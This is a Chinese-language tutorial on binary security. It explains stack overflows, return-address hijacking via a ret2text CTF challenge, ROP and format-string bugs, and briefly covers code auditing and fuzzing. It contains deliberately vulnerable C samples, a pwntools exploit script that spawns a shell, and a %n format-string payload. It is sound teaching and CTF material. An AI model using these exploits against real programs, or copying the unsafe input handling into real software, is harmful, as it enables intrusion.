漏洞挖掘、漏洞利用
常见二进制安全漏洞
栈溢出
栈介绍
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。
栈溢出基本原理
以最基本的 C 语言为例,C 语言的函数局部变量就保存在栈中。
#include<stdio.h>
int main()
{
char ch[8]={0};
char ch2[8]={0};
printf("ch: %p, ch2: %p",ch,ch2);
}
2
3
4
5
6
7
对于如上程序,运行后可以发现 ch
和 a
的地址相差不大 ( a
和 ch
的顺序不一定固定为 a
在前 ch
在后):
可以发现 ch
和 ch2
刚好差 8
个字节,也就是 ch
的长度。 ch
只有 8
个字节,那么如果我们向 ch
中写入超过 8
个字节的数据呢?很显然,会从 ch
处发生溢出,写入到 ch2
的空间中,覆盖 ch2
的内容。
#include<stdio.h>
int main()
{
char ch[8]={0};
char ch2[8]={0};
scanf("%s",ch);
printf("ch: %s, ch2: %s",ch,ch2);
}
2
3
4
5
6
7
8
这就是栈溢出的基本原理。
栈溢出的基本利用
0x0
对于以上程序,“栈溢出” 带来的后果仅仅是修改了局部变量的值,会造成一些程序的逻辑错误:
#include<stdio.h>
int main()
{
char input[20];
char password[]="vidar-team";
scanf("%s",input);
if(!strcmp(password,input))
{
printf("login success!");
}
else
{
printf("password is wrong!");
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
如上代码所示,如果我们想办法通过向 input 中输入过长的字符串覆盖掉 password 的内容,我们就可以实现任意 password “登录”。
那么能不能有一些更劲爆的手段呢?
以下内容涉及 x86 汇编语言知识
在 C 语言编译之后,通常会产生汇编语言,汇编语言的字节码可以直接在物理 CPU 上运行。而 C 语言函数调用会被编译为如下形式:
#include<stdio.h>
int add(int a,int b)
{
return a+b;
}
int main()
{
int a,b;
scanf("%d %d",&a,&b);
printf("%d",add(a,b));
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
add:
endbr64
push rbp
mov rbp, rsp
mov [rbp+var_4], edi
mov [rbp+var_8], esi
mov edx, [rbp+var_4]
mov eax, [rbp+var_8]
add eax, edx
pop rbp
retn
main:
endbr64
push rbp
mov rbp, rsp
sub rsp, 10h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
lea rdx, [rbp+var_C]
lea rax, [rbp+var_10]
mov rsi, rax
lea rax, format ; "%d %d"
mov rdi, rax ; format
mov eax, 0
call _scanf
mov edx, [rbp+var_C]
mov eax, [rbp+var_10]
mov esi, edx
mov edi, eax
call add
mov esi, eax
lea rax, aD ; "%d"
mov rdi, rax ; format
mov eax, 0
call _printf
mov eax, 0
leave
retn
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
可以看到其中使用 call
指令来调用 add
函数。那么该指令是如何工作的呢?其实 call
指令相当于 push next_loc;jmp loc
,通过将 call
指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从 call
指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数:
注意该图中,使用 32 位的寄存器(EBP、ESP、EIP),实际原理一样的,并且上方为高地址,下方为低地址
在此给出一道题作为例子:ret2tetx
32 位的程序,我们使用 IDA 来打开该题目,查看反编译代码,可以发现有非常明显的栈溢出:
由于第 8
行 gets
函数并没有检查输入的长度和 s
的长度,我们可以轻易地通过栈溢出来控制 main
函数的返回地址。而在程序中,存在另外一个函数 secure
,在该函数中有一个后门 system("/bin/sh")
,如果我们想办法执行该后门,就可以拿到目标机器的 shell
,从而控制目标计算机。
由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用 pwntools
这一 python
包来方便地进行攻击。 首先查看后门的地址:
接着计算溢出长度,这里我们使用 gdb 来调试程序,图中的 gdb 安装了 pwndbg 插件,该插件在 pwn 调试时比较好用:
将断点打在 gets
函数前后,可以看到此时 esp
值为 0xffffcd80
, ebp
值为 0xffffce08
,在 IDA 中我们又可以看到 s
相对于 esp
的偏移为 +1C
,此时我们即可计算 hex(0xffffcd80+0x1c-0xffffce08)=-0x6C
,即 s
相对于 ebp
的偏移为 0x6C
,由于在 main
函数的开头有 push ebp
的操作,所以将 0x6C
再加 4
,即可到达返回地址处:
from pwn import *
sh=process("./pwn")
exp=b'a'*(0x6c+4)
exp+=p32(0x0804863A) # 4 字节的返回地址
sh.sendline(exp)
sh.interactive() # 切换为手动交互模式
2
3
4
5
6
0x1
通过上面的学习,我们已经可以知道执行任意函数的办法,但很多情况下,对于攻击者来说,程序中并没有可用的后门函数来达到攻击的目的,因此我们需要一种手段,来让程序执行任意代码(任意汇编代码),这样就可以最高效地进行攻击。ROP(Return Oriented Programming)面向返回编程就是这样的一种技术,在栈溢出的基础上,通过在程序中寻找以 retn 结尾的小片段(gadgets),来改变某些寄存器、栈变量等的值,再结合 Linux 下的系统调用,我们就可以执行需要的任意代码。
ROP 网上已有非常系统的资料,在这里不做过多的叙述,可参考 ctf-wiki: ret2shellcode
格式化字符串
格式化字符串的利用思路来源于 printf
函数中的 %n
format 标签,该标签的作用和 %s
、 %d
等不同,是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题:
printf("abcd%n",&num);
//输出abcd,并且num的值为4
2
但如果在编写代码时忘记 format 字符串:
printf(something_want_print);
此时若攻击者可以自定义该字符串,就可以使用 %d
、 %p
、 %s
等打印栈上数据,或者 %n
来覆写栈上的数据,如果覆写了返回地址,就可以实现任意代码执行。
char ch[20];
scanf("%s",ch);// 输入 %d%n%n%n%n%n
printf(ch);
2
3
漏洞挖掘技术
代码审计
代码审计分人工代码审计和自动化代码审计,人工审计由安全研究人员查看代码来发现漏洞,需要安全研究人员很高的研究经验,投入大量的人力。自动化代码审计目前的发展进度迅速,如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目 Kunlun-M
以及字节跳动公司开源的 appshark
fuzz
fuzz 是一种自动化测试手段,通过一定的算法生成一定规律的随机的数据输入到程序中,如果程序发生崩溃等异常,即可知道此处可能有漏洞。比较著名的有 AFL、AFLplusplus、libfuzzer、honggfuzz 等。